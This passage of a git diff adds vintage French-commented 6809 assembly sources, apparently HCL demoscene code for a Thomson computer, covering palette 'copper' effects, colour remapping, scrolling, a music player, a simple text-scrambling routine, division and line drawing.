+ BITA ,U
+ BEQ *+6
+ ORB <Z+1
+ STB <Z+1
+ LDD #$1004
+ BITA ,U
+ BEQ *+6
+ ORB <Z
+ STB <Z
+ LDD #$0802
+ BITA ,U
+ BEQ *+6
+ ORB <Z+1
+ STB <Z+1
+ LDD #$0402
+ BITA ,U
+ BEQ *+6
+ ORB <Z
+ STB <Z
+ LDD #$0201
+ BITA ,U
+ BEQ *+6
+ ORB <Z+1
+ STB <Z+1
+ LDD #$0101
+ BITA ,U+
+ BEQ *+6
+ ORB <Z
+ STB <Z
+
+ CLR $E7E5 affichage écran de
+ LDD <Z
+ STA ,X+ 1er octet bitplanB
+ STB ,Y+ 1er octet bitplanA
+ LDA #BANK
+ STA $E7E5 retour image CGA.
+ DEC <Z+2
+ LBNE LIGNE
+
+ LEAU $1FB0,U entrelacement CGA:
+ CMPU #$DF40 une ligne sur deux
+ BLO *+6 => A000
+ LEAU -$3FB0,U C000
+ CMPX #$BF40 A050
+ LBNE LIGNE-4 C050 ...
+
+ PULS DP,PC see you later !
+ END
diff --git a/code/3rdparty/sources2-hcl/COLORb16.ASM b/code/3rdparty/sources2-hcl/COLORb16.ASM
new file mode 100644
index 0000000..1074c69
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/COLORb16.ASM
@@ -0,0 +1,51 @@
+****************************************
+* REMPLACEMENT DE COULEURS *
+* sur une image BitMap16 *
+****************************************
+* Voir la matrice des correspondances en
+* fin de programme. By Doctor Lô 19-5-91
+
+
+ ORG $9F00
+
+G ORCC #80
+ LDU #CORRES Table conversion
+ LDA $E7C3
+ ORA #1
+ STA $E7C3
+ BSR TRAITE-3
+ DEC $E7C3
+
+ LDX #$4000
+TRAITE LDA ,X première couleur
+ LSRA forts->faibles
+ LSRA
+ LSRA
+ LSRA origine...
+ LDA A,U ...nouvelle
+ LSLA
+ LSLA
+ LSLA
+ LSLA faibles->forts
+ LDB ,X origine
+ ANDB #15 4 bits forts à 0
+ STB ,X
+ ORA ,X et remplacés par
+ STA ,X la nouvelle valeur
+ ANDA #15
+ LDB ,X origine
+ ANDB #240 4 bits faibles à 0
+ ORB A,U et remplacés par
+ STB ,X+ la nouvelle valeur
+ CMPX #$5F40
+ BNE TRAITE
+ RTS
+
+* Table de correspondance des couleurs:
+* indice de la case = couleur origine
+* contenu de la case = nouvelle couleur
+
+ FCC / HCL /
+CORRES FCB 0,1,2,3,4,5,6,7,8,9,10,11
+ FCB 12,13,14,15
+ END
diff --git a/code/3rdparty/sources2-hcl/COPPER.ASM b/code/3rdparty/sources2-hcl/COPPER.ASM
new file mode 100644
index 0000000..ff871c8
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/COPPER.ASM
@@ -0,0 +1,130 @@
+ **************************************
+** - C O P P E R - **
+* permet de changer la palette de la *
+* couleur 0 à chaque ligne. On obtient *
+* ainsi des images (fixes) en plus de *
+* 2 0 0 T E I N T E S *
+* Laurent HIRIART , Les ENVERSGOUTTES *
+** 67420 COLROY-LA-ROCHE **
+ **************************************
+
+NL EQU 200 nombre de lignes
+VIT EQU 0 vitesse défilement
+
+* Palettes à partir de $DF5E et + bas...
+* 16 bits chacune: (0 bleu vert rouge)
+
+
+ ORG $DF60
+
+G ORCC #80 Stop interruptions
+ PSHS DP On récupèrera DP
+ LDB #$E7 à la sortie !
+ TFR B,DP Pour accès rapides
+
+* SYNCRONISATION - REGLAGE COLONNE *****
+* b5 de $E7E7 : situation en ligne INILN
+
+ LDX #*+4
+ LDA #32
+
+ BITA <$E7 sort quand
+ BEQ *-2 spot dans fenêtre
+
+ BITA <$E7 sort quand
+ BNE *-2 spot entre border
+
+ STA ,X+ 5
+ MUL 11 boucle de 63
+ MUL 11 cycles dont on
+ MUL 11 sort quand le
+ MUL 11 spot est sur la
+ LDA ,-X 5 dernière
+ BITA <$E7 4 C O L O N N E
+ BEQ *-10 3 de la fenêtre
+
+* SYNCRONISATION - REGLAGE LIGNE *******
+* b7 de $E7E7 : situation en trame INITN
+
+ MUL 11 boucle de 64
+ MUL 11 cycles dont on
+ MUL 11 sort quand le
+ MUL 11 spot est sur
+ MUL 11 une ligne
+ TST <$E7 6 DANS le border
+ BPL *-7 3
+
+ MUL 11 boucle de 64
+ MUL 11 cycles dont on
+ MUL 11 sort quand le
+ MUL 11 spot est sur la
+ MUL 11 dernière
+ TST <$E7 6 L I G N E
+ BMI *-7 3 de la fenêtre
+
+ LDX #(211-NL/2)*8-3
+ LEAX -1,X Pour centrer les
+ BNE *-2 lignes de copper.
+
+* Pour pousser les bandes noires dans le
+* border afin qu'on ne puisse les voir
+* ni à gauche ni à droite.
+* Varie selon les moniteurs : régler le
+* nombre de cycles machine ...
+
+ TST A,X 7 Temporisation
+
+* Changement de la palette d'une couleur
+* tous les 64 cycles (i.e. chaque ligne)
+
+ LDX #G Déb liste palettes
+GOON LDY #NL Nombre de lignes
+
+COPPER LDD ,--X 8 Chargement et
+ CLR <$DB 6 affectation de
+ STB <$DA 4 la nouvelle
+ STA <$DA 4 palette->coul0
+ MUL 11 Temporisation
+ MUL 11 Temporisation
+ NOP 2 Temporisation
+ CMPX #G-2*NL 4 Fin dans liste
+ BEQ *+4 3 des couleurs ?
+ BRA *+5 3 non:rien, oui:
+ LDX #G 3 repart début.
+ LEAY -1,Y 5 200ème ligne ?
+ BNE COPPER 3 non: on boucle
+
+ LDY #(311-NL)*8-1 4 Cf + bas.
+ CLRA 2 A la fin des NL
+ NOP 2 lignes de copper
+ CLR <$DB 6 on remet vite
+ STA <$DA 4 la couleur 0 en
+ STA <$DA 4 noir (palette=0)
+ LEAY -1,Y 5 On patiente
+ BNE *-2 3 dans le border.
+
+* LEAX 2*VIT,X 5 Donne la vitesse
+ FDB $3088 Sinon l'assembleur
+ FCB 2*VIT risque d'optimiser
+ CMPX #G 4 Pointeur couleur
+ BHI DECALB 3 dépasse en haut?
+ LDA A,X 5 non:
+ BRA *+6 3 temporisation
+DECALB LEAX -2*NL,X 8 oui:décale bas.
+ CMPX #G-2*NL 4 Pointeur couleur
+ BLS DECALH 3 dépasse en bas ?
+ LDA A,X 5 non:
+ BRA *+6 3 temporisation
+DECALH LEAX 2*NL,X 8 oui:décale haut.
+ NOP 2 Temporisation
+ TST <$C8 6 clavier frappé ?
+ BEQ GOON 3 non -> boucle
+
+ JSR $E806 Recconnaît le code
+ STB TOUCHE ASCII de la touche
+ PULS DP Et on sort,heureux
+ RTS
+ FCC /(c)HCL91/
+TOUCHE * La touche frappée
+
+ END
diff --git a/code/3rdparty/sources2-hcl/COULEURS.ASM b/code/3rdparty/sources2-hcl/COULEURS.ASM
new file mode 100644
index 0000000..a72b9ae
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/COULEURS.ASM
@@ -0,0 +1,146 @@
+****************************************
+* *
+* " Pour Quelques Couleurs De Plus " *
+* *
+****************************************
+* Codé le 5-7-90 (en 8 mn!) par doc Lô *
+
+ ORG $A000
+
+
+G ORCC #80
+ LDA #$E7
+ EXG A,DP
+ STA RDP+1
+ LDD #32
+ STA <$DB
+ STA <$DA
+ DECB
+ BNE *-3
+ LDA #$21
+ STA <$DC
+ CLR <$DD
+ LDA <$C3
+ ORA #1
+ STA <$C3
+ LDX #$4000
+ CLR ,X+
+ CMPX #$5F40
+ BNE *-5
+ DEC <$C3
+ CLR ,-X
+ CMPX #$4000
+ BNE *-5
+ LDX #MAP
+ STX $616B
+ LDD #$FF0E
+ STA $6249
+ STB $616D
+ LDD #$60B
+ STD $61D6
+ CLR $6288
+ LDB #69
+ JSR $EC0C
+ LDA #255
+ LDX #PRINT-8
+ JSR $EC00
+ LDA <$CD
+ BITA #64
+ BNE *-4
+ LDD #32
+ STA <$DB
+ STA <$DA
+ DECB
+ BNE *-3
+ LDU #PRINT
+ LDB ,U+
+ JSR $E803
+ BNE *-5
+
+ LDA #32
+ BITA <$E7
+ BEQ *-2
+ BITA <$E7
+ BNE *-2
+ PSHS A
+ MUL
+ MUL
+ MUL
+ MUL
+ PULS A
+ BITA <$E7
+ BEQ *-10
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST <$E7
+ BPL *-7
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST <$E7
+ BMI *-7
+ LDX #679
+ LEAX -1,X
+ BNE *-2
+ LDD #0
+
+HDEG STA <$DB
+ STB <$DA
+ STA <$DA
+ STA <$DB
+ STB <$DA
+ TST ,X++
+ TST ,--X
+ LDA #15
+ STA <$DA
+ CLRA
+ TST [D,X]
+ INCB
+ BNE HDEG
+
+ STB <$DB
+ STB <$DA
+ STB <$DA
+ STB <$DA
+ STB <$DA
+
+ LDX #441
+ LDA <$CC
+ BITA #1
+ BNE *+8
+ LDX #449
+ NOP
+ BRA JOIN
+ BITA #2
+ BEQ *+4
+ BRA JOIN
+ LDX #433
+JOIN LDA 1,U
+ CLRA
+ LEAX -1,X
+ BNE *-2
+ TST <$C8
+ BEQ HDEG
+RDP LDA #0
+ TFR A,DP
+ LDB ,U+
+ JSR $E803
+ BNE *-5
+ LDA #255
+ LEAX ,U
+ JSR $EC00
+ RTS
+
+ FDB 0,$FF,$22,$66
+PRINT FDB $1B5B,$0C0A,$4843,$4C00
+ FCB $1B,$5A,0
+ FDB 0,15,240,255,3840,3855
+ FDB 4080,4095,1911,826,931,938
+ FDB 2611,2618,3815,123
+MAP
+ END
diff --git a/code/3rdparty/sources2-hcl/CPUTEST.ASM b/code/3rdparty/sources2-hcl/CPUTEST.ASM
new file mode 100644
index 0000000..0352833
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/CPUTEST.ASM
@@ -0,0 +1,62 @@
+****************************************
+*Mesure du temps CPU utilisé par ROUTST*
+****************************************
+
+ROUTST EQU BIDON routine à tester
+
+ ORG $A000
+G ORCC #80
+ PSHS DP
+ LDD #$3E7
+ TFR B,DP
+ STA <$DD border en jaune
+
+SYNCRO LDA #32
+ BITA <$E7
+ BEQ *-2
+ BITA <$E7
+ BNE *-2
+ PSHS A
+ MUL
+ MUL
+ MUL
+ MUL
+ PULS A
+ BITA <$E7
+ BEQ *-10
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST <$E7
+ BPL *-7
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST <$E7
+ BMI *-7
+ LDX #$3B5
+ LEAX -1,X
+ BNE *-2
+ LDX #0 initialisations
+ LDY #0 éventuelles pour
+ LDU #0 la routine appelée
+ LDD #15
+
+ STA <$DB
+ STB <$DA trace ON
+ STA <$DB
+ JSR ROUTST
+ CLRA
+ STA <$DA trace OFF
+ LDB <$C8
+ BEQ SYNCRO
+ STA <$DD border en noir
+ PULS DP
+ SWI
+BIDON RTS
+
+ END
diff --git a/code/3rdparty/sources2-hcl/CRYPT.ASM b/code/3rdparty/sources2-hcl/CRYPT.ASM
new file mode 100644
index 0000000..a1236ca
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/CRYPT.ASM
@@ -0,0 +1,47 @@
+LEN EQU $D4
+
+
+ ORG $9000+LEN
+G ORCC #80
+ LDU #TXTLST
+PASS0 LDD #$A300+LEN
+ LDX ,U++
+ BEQ ENDTXT
+ LEAX D,X
+ STX CMPT+1
+ LDX ,U++
+ LEAX D,X
+ LDA ,X
+ ADDA #$A5
+ STA ,X+
+CMPT CMPX #0
+ BNE *-9
+ BRA PASS0
+ENDTXT
+
+ LDX #$A300+LEN
+PASS1 LDD ,X
+ EXG A,B
+ EORA #$22
+ EORB #$53
+ STD ,X++
+ CMPX #$AA00
+ BLO PASS1
+
+ LDU #$A300+LEN
+ LDX #$9000
+PASS2 LDB ,X+
+ SUBB ,U
+ STB ,U+
+ CMPX #$9000+LEN
+ BNE PASS2
+ CMPU #$AA00
+ BLO PASS2-3
+
+ RTS
+
+TXTLST FDB $065,$006,$158,$0EE
+ FDB $2A7,$210,$4F7,$46F
+ FDB 0
+
+ END
diff --git a/code/3rdparty/sources2-hcl/DAMIER.ASM b/code/3rdparty/sources2-hcl/DAMIER.ASM
new file mode 100644
index 0000000..22aa63c
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/DAMIER.ASM
@@ -0,0 +1,508 @@
+****************************************
+* *
+* DAMIER : HCL LEADS THOU FURTHER *
+* *
+****************************************
+
+
+SCRCOL EQU $9400
+TEXTE EQU $A580
+DERPAG EQU TEXTE+136*16
+CHUTES EQU $AE00
+DEGRA EQU $B000
+ETAPS EQU $B082
+BUF EQU $B0BA
+FONTES EQU $B100
+CHRSET EQU $B900
+SCRTEX EQU $BCC0
+SCRECR EQU $41A4
+DAMECR EQU $4B18
+BASCUB EQU $5684
+
+ ORG BUF+3
+ FDB TEXTE+1
+ FCB 1
+ FDB $B84,$B86,$B88,$B8A
+ FDB $B8C,$B8E,$B90,$B92
+ FDB $B94,$B96,$B98,$B9A
+ FDB $B9C,$B9E,$BA0,$BA2
+ FDB 0,0,0,0,0,0
+ FDB SCRTEX
+
+ ORG $C760
+G ORCC #80
+ LDA #$E7
+ EXG A,DP
+ STA BUF+2
+ LDD #32
+ STA <$DB
+ STA <$DA
+ DECB
+ BNE *-3
+ LDA <$E6
+ STA FIN+3
+ STS FIN+8
+ ANDA #191
+ STA <$E6
+ LDD #$2104
+ STD <$DC
+ LDA <$C3
+ ORA #1
+ STA <$C3
+ LDX #$4000
+ CLR ,X+
+ CMPX #$5F40
+ BNE *-5
+ DEC <$C3
+ CLR ,-X
+ CMPX #$4000
+ BNE *-5
+ LDX #DAMECR
+ LDU #DAMPIC
+ LDD ,U++
+ STD ,X++
+ CMPX #$5F40
+ BNE *-7
+ LDU #SCRDEG
+ LDX #SCRCOL
+ LDA #6
+ STA BUF
+ LEAY 24,X
+ LDD ,U++
+ BEQ CYCLE-8
+REPER STD ,X++
+ STD ,--Y
+ ADDD -2,U
+ DEC BUF
+ BNE REPER
+ LEAX 12,X
+ BRA REPER-12
+ LDA #255
+ LDX #COLORS
+ JSR $EC00
+
+CYCLE LDD #BANDE
+ STD BANDE-2
+ LDY #ETAPS
+ LDA #4
+ STA BUF+1
+ JSR SYNCRO
+ LEAY 14,Y
+ DEC BUF+1
+ BNE *-8
+ LDD #BAND2
+ STD BANDE-2
+ LDY #ETAPS
+ LDA #4
+ STA BUF+1
+ JSR SYNCRO
+ LEAY 14,Y
+ DEC BUF+1
+ BNE *-8
+ TST <$C8
+ BEQ CYCLE
+
+FIN CLR <$DC
+ LDA #0
+ STA <$E6
+ LDS #0
+ CLR <$DD
+ LDA #255
+ LDX #COLORS+10
+ JSR $EC00
+ LDA BUF+2
+ TFR A,DP
+ RTS
+
+SYNCRO STY BANDE-5
+ LDA #32
+ BITA <$E7
+ BEQ *-2
+ BITA <$E7
+ BNE *-2
+ PSHS A
+ MUL
+ MUL
+ MUL
+ MUL
+ PULS A
+ BITA <$E7
+ BEQ *-10
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST <$E7
+ BMI *-7
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST <$E7
+ BPL *-7
+
+ STS RETURN-2
+ LDX #SCRECR
+SCROL1 ASL BUF+38
+ ROL 19,X
+ ROL 18,X
+ ROL 17,X
+ ROL 16,X
+ ROL 15,X
+ ROL 14,X
+ ROL 13,X
+ ROL 12,X
+ ROL 11,X
+ ROL 10,X
+ ROL 9,X
+ ROL 8,X
+ ROL 7,X
+ ROL 6,X
+ ROL 5,X
+ ROL 4,X
+ ROL 3,X
+ ROL 2,X
+ ROL 1,X
+ ROL ,X
+ ROL -1,X
+ ROL -2,X
+ ROL -3,X
+ ROL -4,X
+ ROL -5,X
+ ROL -6,X
+ ROL -7,X
+ ROL -8,X
+ ROL -9,X
+ ROL -10,X
+ ROL -11,X
+ ROL -12,X
+ ROL -13,X
+ ROL -14,X
+ ROL -15,X
+ ROL -16,X
+ ROL -17,X
+ ROL -18,X
+ ROL -19,X
+ ROL -20,X
+ ASL BUF+49
+ LDX #SCRECR+440
+ ROL 19,X
+ ROL 18,X
+ ROL 17,X
+ ROL 16,X
+ ROL 15,X
+ ROL 14,X
+ ROL 13,X
+ ROL 12,X
+ ROL 11,X
+ ROL 10,X
+ ROL 9,X
+ ROL 8,X
+ ROL 7,X
+ ROL 6,X
+ ROL 5,X
+ ROL 4,X
+ ROL 3,X
+ ROL 2,X
+ ROL 1,X
+ ROL ,X
+ ROL -1,X
+ ROL -2,X
+ ROL -3,X
+ ROL -4,X
+ ROL -5,X
+ ROL -6,X
+ ROL -7,X
+ ROL -8,X
+ ROL -9,X
+ ROL -10,X
+ ROL -11,X
+ ROL -12,X
+ ROL -13,X
+ ROL -14,X
+ ROL -15,X
+ ROL -16,X
+ ROL -17,X
+ ROL -18,X
+ ROL -19,X
+ ROL -20,X
+ LDU #BUF+39
+ LDX #SCRECR+40
+
+ TST 1,S
+ MUL
+ LDA #11
+ STA BUF
+ LDS #SCRCOL+98
+COPPER PULS D
+ STD *+8
+ LDA #2
+ STA <$DB
+ LDD #0
+ STB <$DA
+ STA <$DA
+ STY RETURN+2
+ MUL
+ TST ,U
+ DEC BUF
+ BNE COPPER
+
+ LDA #10
+SCROL2 ASL ,U+
+ ROL 19,X
+ ROL 18,X
+ ROL 17,X
+ ROL 16,X
+ ROL 15,X
+ ROL 14,X
+ ROL 13,X
+ ROL 12,X
+ ROL 11,X
+ ROL 10,X
+ ROL 9,X
+ ROL 8,X
+ ROL 7,X
+ ROL 6,X
+ ROL 5,X
+ ROL 4,X
+ ROL 3,X
+ ROL 2,X
+ ROL 1,X
+ ROL ,X
+ ROL -1,X
+ ROL -2,X
+ ROL -3,X
+ ROL -4,X
+ ROL -5,X
+ ROL -6,X
+ ROL -7,X
+ ROL -8,X
+ ROL -9,X
+ ROL -10,X
+ ROL -11,X
+ ROL -12,X
+ ROL -13,X
+ ROL -14,X
+ ROL -15,X
+ ROL -16,X
+ ROL -17,X
+ ROL -18,X
+ ROL -19,X
+ ROL -20,X
+ LEAX 40,X
+ DECA
+ BNE SCROL2
+ LEAU 1,U
+ DEC BUF+5
+ BEQ NEXT
+ LDA #19
+ DECA
+ BNE *-1
+ BRA FINSCR
+
+NEXT LDX ,U
+ LDB ,X+
+ BNE *+7
+ LDX #SCRTEX
+ BRA *+4
+ TST ,U
+ STX ,U
+ LDX #CHRSET
+ LDA #12
+ MUL
+ LEAS D,X
+ PULS D,X,Y
+ PSHU Y,X,D
+ PULS D,X,Y
+ PSHU Y,X,D
+ LDB #8
+ STB BUF+5
+
+FINSCR MUL
+ MUL
+ TST 1,U
+ INC <$C3
+
+ LDX #DEGRA
+ LDU #ETAPS
+ JMP BANDE
+BANDE LDA ,U+
+ STA BUF
+LIGNE LDB ,X+
+ CLRA
+ STA <$DB
+ STB <$DA
+ STB <$DA
+ STA <$DA
+ STB <$DA
+ ADDA [A,X]
+ DEC BUF
+ BEQ *+7
+ MUL
+ NOP
+ NOP
+ BRA LIGNE
+ CMPX #DEGRA+130
+ BHS FDEG
+BAND2 LDA ,U+
+ STA BUF
+LIGN2 LDB ,X+
+ CLRA
+ STA <$DB
+ STA <$DA
+ STB <$DA
+ STB <$DA
+ STB <$DA
+ ADDA [A,X]
+ DEC BUF
+ BEQ *+7
+ MUL
+ NOP
+ NOP
+ BRA LIGN2
+ CMPX #DEGRA+130
+ BLO BANDE
+FDEG LDX COPPER-2
+ LDD -2,X
+ STD *+11
+ CLRA
+ STA <$DB
+ STA <$DA
+ STA <$DA
+ LDD #0
+ STB <$DA
+ STA <$DA
+
+ LDY BUF+3
+ LDS #BUF+6
+ LDB #16
+ STB BUF
+LETTER LDX ,S
+ LDD #0
+ STD -120,X
+ STD -80,X
+ STD -40,X
+ STD ,X
+ CMPX #BASCUB
+ BHS *+6
+CHUTE FDB $3089,$00A0
+ STX ,S++
+ LDA ,Y+
+ STS RECU-2
+ EXG X,Y
+ STX RECU+2
+ LDB #32
+ MUL
+ LDU #FONTES
+ LEAS D,U
+ PULS D,X,U
+ STD -120,Y
+ STX -80,Y
+ STU -40,Y
+ PULS D,X,U
+ STD ,Y
+ STX 40,Y
+ STU 80,Y
+ PULS D,X,U
+ STD 120,Y
+ LEAY 280,Y
+ STX -120,Y
+ STU -80,Y
+ PULS D,X,U
+ STD -40,Y
+ STX ,Y
+ STU 40,Y
+ PULS D,X,U
+ STD 80,Y
+ STX 120,Y
+ STU 160,Y
+ LDD ,S
+ STD 200,Y
+ LDS #0
+RECU LDY #0
+ INC CHUTE-3
+ DEC BUF
+ BNE LETTER
+ LDB CHUTE-3
+ SUBB #16
+ STB CHUTE-3
+ LDX BUF+6
+DERNIE CMPX #BASCUB
+ BLO RETURN-10
+ CMPX #BASCUB-640*7+39
+ BHI MEMPAG
+ LDA <$CD
+ BITA #64
+ BEQ *+5
+ JMP RETURN-10
+ CMPY #DERPAG
+ BNE *+6
+ LDY #TEXTE
+ LDD #BASCUB
+ BRA *+8
+MEMPAG LDA CHUTE-4
+ SUBD #640
+ STD CHUTE-4
+ STD DERNIE+1
+ LDA ,Y
+ ANDA #15
+ LDB #40
+ MUL
+ STB CHUTE+3
+ LDB ,Y+
+ ANDB #240
+ LDA #2
+ MUL
+ LDU #CHUTES
+ LDS #BUF+6
+ LEAU D,U
+ PULU D
+ STD ,S++
+ STD *+11
+ LDD #$100
+ PULU X
+ STX ,S++
+ CMPX #0
+ BHI *+7
+ STX *-4
+ TFR A,B
+ INCA
+ CMPA #16
+ BNE *-17
+ LDX #BUF+6
+ ASLB
+ ABX
+ STX DERNIE-2
+ BRA *+4
+ LEAY -16,Y
+ STY BUF+3
+ LDS #0
+RETURN LDY #0
+ DEC <$C3
+ LDA <$CC
+ LDX COPPER-2
+ BITA #1
+ BNE *+12
+ LEAX -2,X
+ CMPX #SCRCOL
+ BNE *+5
+ LDX #SCRCOL+168
+ BITA #2
+ BNE *+12
+ LEAX 2,X
+ CMPX #SCRCOL+172
+ BNE *+5
+ LDX #SCRCOL+4
+ STX COPPER-2
+ RTS
+
+SCRDEG FDB 1,16,17,256,257,272,273,1
+COLORS FDB 0,514,15,15,0
+ FDB 0,15,240,255,3840,3855
+ FDB 4080,4095,1911,826,931
+ FDB 938,2611,2618,3815,123
+ FCC / HCL /
+DAMPIC
+ END
diff --git a/code/3rdparty/sources2-hcl/DEVELOP.ASM b/code/3rdparty/sources2-hcl/DEVELOP.ASM
new file mode 100644
index 0000000..901735d
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/DEVELOP.ASM
@@ -0,0 +1,54 @@
+****************************************
+* Complément de SNAPSHOT : Affiche *
+* à l'écran la BANK choisie au clavier *
+* et cherche la palette en $BF40 *
+****************************************
+
+ ORG $9F00
+
+G ORCC #80
+ LDA $E7E5
+ PSHS A,DP
+ LDB #$E7
+ TFR B,DP
+GETKEY JSR $E806 choix au clavier
+ CMPB #'S "S" pour quitter
+ BNE *+8
+ PULS A,DP
+ STA $E7E5
+ RTS
+ SUBB #48 de 0 à f en hexa
+ CMPB #22
+ BHI GETKEY
+ CMPB #10 le numéro de BANK
+ BLO *+8
+ CMPB #17
+ BLO GETKEY
+ SUBB #7
+ LDA <$E7 syncro bas d'écran
+ BPL *-2
+ LDA <$E7
+ BMI *-2
+ LDA #15 palettes en noir
+ LDX #0
+ LEAY ,X
+ JSR $EC00
+ DECA
+ BGE *-9
+ LDX #$A000 transfert
+ LDU #$C000 BANK -> écran
+ STB <$E5
+ LDA ,X
+ CLR <$E5
+ STA ,X+
+ STB <$E5
+ LDA ,U
+ CLR <$E5
+ STA ,U+
+ CMPX #$BF40
+ BNE *-23
+ STB <$E5 nouvelle palette
+ LDA #255
+ JSR $EC00
+ BRA GETKEY boucle clavier
+ END
diff --git a/code/3rdparty/sources2-hcl/DIVISION.ASM b/code/3rdparty/sources2-hcl/DIVISION.ASM
new file mode 100644
index 0000000..75a9236
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/DIVISION.ASM
@@ -0,0 +1,81 @@
+****************************************
+* Divise un mot de 8 bits par un autre *
+* Le résultat est codé sur 16 bits *
+****************************************
+
+ ORG $9000
+DIR EQU $9F
+Z EQU 0
+
+G ORCC #80
+ LDA #DIR
+ TFR A,DP
+ LDA #4
+ LDB #192
+ STD <Z
+
+
+ CLRB partie entière
+ CMPA <Z+1 sur 8 bits
+ BLO *+7
+ SUBA <Z+1
+ INCB
+ BRA *-7
+ STB <Z+2
+
+ CLRB partie "décimale"
+ ASLA (256èmes)
+ BCS *+6
+ CMPA <Z+1 sur 8 bits
+ BLO *+6
+ SUBA <Z+1
+ ORB #128
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #64
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #32
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #16
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #8
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #4
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #2
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #1
+ STB <Z+3
+
+ LDX <Z
+ LDY <Z+2
+ SWI
+
+ END
diff --git a/code/3rdparty/sources2-hcl/DMORPLAY.ASM b/code/3rdparty/sources2-hcl/DMORPLAY.ASM
new file mode 100644
index 0000000..3424816
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/DMORPLAY.ASM
@@ -0,0 +1,82 @@
+****************************************
+* *
+* Restitution d'une musique compactée *
+* *
+* DEBMUS : pointe le début des modules *
+* MM : contient le pointeur de musique *
+* *
+* module = Bank ; Début ; Fin *
+* musique = module ; ... ; -1 *
+* *
+****************************************
+
+
+MUSIC PSHS X,A,B
+ LDA $E7E5
+ STA ENVOI+4 sauvegarde banque
+BNKMUS LDA #6 banque de musique
+ STA $E7E5
+ LDX #$A000 pointeur musique
+ BRA NOTE1
+ENVOI STA *-1
+ LDA #0
+ STA $E7E5
+ PULS B,A,X,PC
+
+NOTE1 LDA ,X+ son compacté No 1
+ LDA -1,X
+ LSRA ( octet 0 )
+ LSRA
+ TST ,-X
+ STA $E7CD
+ STX ENVOI-4
+ LDA #*+4-ENVOI
+ BRA ENVOI
+
+ LDA ,X+ son compacté No 2
+ ANDA #3
+ STA *+8 ( octets 0 et 1 )
+ LDA ,X
+ LSRA
+ LSRA
+ ORA #0
+ STA $E7CD
+ STX ENVOI-4
+ LDA #*+4-ENVOI
+ BRA ENVOI
+
+ LDA ,X+ son compacté No 3
+ ASLA
+ ASLA ( octets 1 et 2 )
+ STA *+8
+ LDA ,X
+ ANDA #3
+ ORA #0
+ STA $E7CD
+ STX ENVOI-4
+ LDA #*+4-ENVOI
+ BRA ENVOI
+
+ LDA ,X son compacté No 4
+ TST ,X+
+ LSRA ( octets 2 et 3 )
+ LSRA
+ STA $E7CD
+FINMOD CMPX #$DFFE fin du module ?
+ BHS NXTMOD
+ STX ENVOI-4
+ LDA #NOTE1-ENVOI
+ BRA ENVOI
+NXTMOD LDX MM module suivant
+ LDA ,X+ banque du module
+ BPL *+7
+ LDX #DEBMUS recommence musique
+ LDA ,X+
+ STA BNKMUS+1
+ LDD ,X++ adresse début
+ STD ENVOI-4
+ LDD ,X++ adresse fin
+ STD FINMOD+1
+ STX MM
+ LDA #NOTE1-ENVOI
+ BRA ENVOI
diff --git a/code/3rdparty/sources2-hcl/DRAW.ASM b/code/3rdparty/sources2-hcl/DRAW.ASM
new file mode 100644
index 0000000..60579c1
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/DRAW.ASM
@@ -0,0 +1,408 @@
+****************************************
+* Traçage de segments optimisé *
+* abcisses et ordonnées sur 8 bits *
+****************************************
+* - FONCTIONNE EN MODE 40 COLONNES - *
+* GESTION DES COULEURS NON ASSUREE ICI *
+* - ATTENTION AUX DEPASSEMENTS EN Y !- *
+****************************************
+********** By Doctor Lô of HCL *********
+
+ ORG $9C00
+ECRAN EQU $C004
+DIR EQU $9F } pour les accès
+Z EQU $00 } en page directe
+
+G ORCC #80
+ LDA #DIR
+ TFR A,DP
+ CLR $E7E5
+
+SYNCRO TST $E7E7
+ BMI *-3
+ TST $E7E7
+ BPL *-3
+ LDD #15
+ STA $E7DB
+ STB $E7DA
+ STA $E7DA
+
+ LDD #$FF00 coordonnees point1
+ STD <Z+6
+ LDD #$00C7 deuxieme point
+ JSR DRAW
+
+ LDD #0
+ STA $E7DB
+ STB $E7DA
+ STA $E7DA
+ TST $E7C8
+ BEQ SYNCRO
+ SWI
+
+
+DRAW LDU #PUISS permanent (pixels)
+ STD <Z+4
+ CMPA <Z+6 si x1 > x2 alors
+ BLS *+10 permutation
+ LDX <Z+6
+ STX <Z+4
+ STD <Z+6
+ LDB <Z+5
+
+ CMPB <Z+7
+ LBHI MONTEE quand y1 < y2
+
+ LDD <Z+6
+ SUBA <Z+4 A = (dx)
+ STA <Z+1
+ SUBB <Z+5 B = (dy)
+ CMPB <Z+1
+ LBHI VERTI1 quand (dy) > (dx)
+
+ TFR B,A
+ CLRB (dy) / (dx) = 0.?
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #128
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #64
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #32
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #16
